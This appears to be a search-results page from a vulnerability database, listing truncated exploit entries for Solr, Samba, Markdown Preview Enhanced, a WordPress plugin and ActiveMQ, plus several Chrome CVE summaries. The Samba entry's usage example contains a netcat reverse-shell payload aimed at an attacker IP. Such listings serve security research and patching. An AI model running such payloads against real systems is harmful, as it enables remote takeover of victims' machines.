Lucene search
+L

516585 matches found

Kitploit
Kitploit
added 2026/09/01 11:48 p.m.5 views

CVE-2019-12409

CVE-2019-12409 Apache Solr RCE ENABLEREMOTEJMXOPTS="true" root@kitploit: root@kali:/opt/solr-8.1.1/bin cat solr.in.sh |grep true Set to true to activate the JMX RMI connector to allow remote JMX client applications ENABLEREMOTEJMXOPTS="true" SOLROPTS="$SOLROPTS -Dsolr.clustering.enabled=true"...

9.8CVSS7.3AI score0.22257EPSS
SaveExploits4References1
Kitploit
Kitploit
added 2026/09/01 11:47 p.m.3 views

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - (可选)SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷,例如反弹 shell。 示例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447:远程命令注入漏洞 Samba...

6CVSS7.3AI score0.49759EPSS
SaveExploits18
Kitploit
Kitploit
added 2026/09/01 11:47 p.m.6 views

CVE-2022-45025

CVE-2022-45025 通过PDF导入实现的命令注入漏洞,影响Markdown Preview Enhanced(VSCode,Atom) 描述 Mume Markdown 工具库由于使用带有 shell: true 选项的 spawn 命令,存在命令注入漏洞。攻击者可通过诱骗受害者使用 VSCode 或 Atom 打开特制的 Markdown 文件,实现任意代码执行。该库为 VSCode 和 Atom 上的 Markdown Preview Enhanced 插件提供支持。 漏洞代码片段: root@kitploit: const task = spawn "pdf2svg",...

9.8CVSS7.3AI score0.34525EPSS
SaveExploits2References5
Kitploit
Kitploit
added 2026/09/01 11:45 p.m.5 views

CVE-2025-4389

CVE-2025-4389 익스플로잇 세부 정보 발행일 : 2025년 5월 16일 업데이트일 : 2025년 5월 17일 심각도 : 심각 CVSS 점수: 9.8 CWE : CWE-434: CWE-434 위험한 유형의 파일 무제한 업로드 영향 받는 버전 : 버전 n/a부터 2.6.8.1까지의 모든 버전 연구자 : https://www.wordfence.com/threat-intel/vulnerabilities/researchers/friderika-baranyai CVSS 벡터 CVSS 버전 : 9.8 벡터 문자열 :...

9.8CVSS7.2AI score0.01006EPSS
SaveExploits1
Kitploit
Kitploit
added 2026/09/01 11:45 p.m.4 views

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ 이 익스플로잇은 https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE에서 제공하는 기본 작업을 기반으로 합니다. 우리는 Metasploit Framework https://github.com/rapid7/metasploit-framework를 활용하여 리버스 셸을 달성하기 위해 기술을 더욱 발전시켰습니다. 사용법: 중요: XML 파일의 IP 주소11행의 0.0.0.0를 페이로드가...

10CVSS6.9AI score0.99723EPSS
SaveExploits33References5
Debian CVE
Debian CVE
added 2026/09/01 11:42 p.m.5 views

CVE-2026-84350

Use after free in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via UI Interaction. Chromium security severity: Low...

8.8CVSS6.2AI score0.00206EPSS
SaveExploits0
CVE
CVE
added 2026/09/01 11:42 p.m.24 views

CVE-2026-84350

CVE-2026-84350 is a use-after-free in the TabStrip component of Google Chrome prior to 152.0.7977.75 . A remote attacker leveraging social engineering can trigger the flaw via UI interaction to execute arbitrary code outside the browser sandbox. Chromium rates the severity as Low , while the assi...

8.8CVSS6.2AI score0.00206EPSS
SaveExploits0References2
Cvelist
Cvelist
added 2026/09/01 11:42 p.m.11 views

CVE-2026-84350

Use after free in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via UI Interaction. Chromium security severity: Low...

0.00206EPSS
SaveExploits0References2
Cvelist
Cvelist
added 2026/09/01 11:42 p.m.13 views

CVE-2026-84335

Incorrect authorization in TabStrip in Google Chrome prior to 152.0.7977.75 allowed a remote attacker who had compromised the renderer process and leveraged social engineering to potentially execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: Medium...

0.00221EPSS
SaveExploits0References2
Cvelist
Cvelist
added 2026/09/01 11:42 p.m.15 views

CVE-2026-84334

Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. Chromium security severity: Medium...

0.00077EPSS
SaveExploits0References2
CVE
CVE
added 2026/09/01 11:42 p.m.21 views

CVE-2026-84334

CVE-2026-84334 is an incorrect authorization vulnerability in the Chromoting component of Google Chrome on Windows , prior to version 152.0.7977.75 . A local attacker can exploit it to execute arbitrary code outside the Chrome sandbox via a local program. The flaw was reported by Google on 2026-0...

8.1CVSS6.2AI score0.00077EPSS
SaveExploits0References2
CVE
CVE
added 2026/09/01 11:42 p.m.26 views

CVE-2026-84335

CVE-2026-84335 is an incorrect authorization vulnerability in the TabStrip component of Google Chrome prior to 152.0.7977.75 . A remote attacker who had already compromised the renderer process and leveraged social engineering could potentially execute arbitrary code outside the sandbox via a cra...

8.3CVSS6.2AI score0.00221EPSS
SaveExploits0References2
Debian CVE
Debian CVE
added 2026/09/01 11:42 p.m.8 views

CVE-2026-84334

Incorrect authorization in Chromoting in Google Chrome on on Windows prior to 152.0.7977.75 allowed a local attacker to execute arbitrary code outside the sandbox via a local program. Chromium security severity: Medium...

8.1CVSS6.2AI score0.00077EPSS
SaveExploits0
Cvelist
Cvelist
added 2026/09/01 11:42 p.m.11 views

CVE-2026-84333

Use after free in Dawn in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

0.00249EPSS
SaveExploits0References2
Debian CVE
Debian CVE
added 2026/09/01 11:42 p.m.5 views

CVE-2026-84347

Use after free in WebRTC in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: Medium...

8.8CVSS6.2AI score0.00282EPSS
SaveExploits0
CVE
CVE
added 2026/09/01 11:42 p.m.22 views

CVE-2026-84351

CVE-2026-84351 is a buffer overflow in the GPU component of Google Chrome on Windows prior to 152.0.7977.75 . A remote attacker who had compromised the renderer process could exploit it via a crafted HTML page to execute arbitrary code outside the sandbox . The vulnerability was rated High by Chr...

8.3CVSS6.2AI score0.00257EPSS
SaveExploits0References2
Cvelist
Cvelist
added 2026/09/01 11:42 p.m.13 views

CVE-2026-84326

Uninitialized resource in V8 in Google Chrome prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. Chromium security severity: High...

0.00218EPSS
SaveExploits0References2
CVE
CVE
added 2026/09/01 11:42 p.m.22 views

CVE-2026-84326

CVE-2026-84326 is a High-severity uninitialized resource vulnerability in the V8 JavaScript engine of Google Chrome, fixed in version 152.0.7977.75 . A remote attacker can execute arbitrary code inside the sandbox by convincing a user to visit a crafted HTML page. The CVSS 3.1 score is 8.8 (AV:N/...

8.8CVSS6.2AI score0.00218EPSS
SaveExploits0References2
CVE
CVE
added 2026/09/01 11:42 p.m.25 views

CVE-2026-84333

CVE-2026-84333 is a use-after-free vulnerability in Dawn , a graphics abstraction component of Google Chrome , affecting versions prior to 152.0.7977.75 on Android (and 152.0.7977.76 on Windows/Mac). A remote attacker can execute arbitrary code outside the sandbox by serving a crafted HTML page, ...

9.6CVSS6.2AI score0.00249EPSS
SaveExploits0References2
Debian CVE
Debian CVE
added 2026/09/01 11:42 p.m.4 views

CVE-2026-84333

Use after free in Dawn in Google Chrome on on Android prior to 152.0.7977.75 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. Chromium security severity: High...

9.6CVSS6.2AI score0.00249EPSS
SaveExploits0
Rows per page
Query Builder